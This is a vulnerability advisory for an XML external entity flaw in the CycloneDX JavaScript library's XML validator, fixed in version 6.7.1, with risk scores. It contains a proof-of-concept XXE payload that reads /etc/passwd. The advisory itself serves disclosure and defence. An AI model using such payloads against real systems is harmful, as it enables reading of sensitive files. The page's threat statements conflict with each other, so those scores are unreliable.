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GHSA-38gf-rh2w-gmj7

HighCVSS 8.1 / 10
Published May 8, 2024·Last modified May 14, 2024
Affected Components(0)

No affected components available

Description

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/cyclonedx-library@6.7.1 .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

Risk Scores
Base Score
8.1

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
7.4

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.92%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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